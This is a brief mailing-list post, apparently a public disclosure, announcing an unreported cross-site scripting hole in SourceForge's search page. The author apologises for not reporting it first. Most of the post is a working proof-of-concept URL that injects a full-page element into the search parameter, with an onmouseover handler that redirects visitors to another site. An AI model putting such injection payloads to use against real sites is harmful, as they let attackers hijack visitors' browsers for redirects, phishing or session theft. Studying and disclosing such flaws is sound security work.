Sourceforge.net XSS

[the.spikey () gmail com]

Hey guys,
I found this kind of 'hole' in sf.net, you can exucute some code, not all.(i.e. you cannot use a / )
I have not reported this yet, i'm sorry :+


Try it out:

http://sourceforge.net/search/?type_of_search=soft&forum_id=0&group_id=0&atid=0&words=<span style="position: fixed; 
top: 0px; left: 0px; color: red; width: 1000px; height: 1000px" 
onmouseOver="javascript:window.location='http://www.google.nl'";>&Search=Search

Spiked
www.geekshangout.org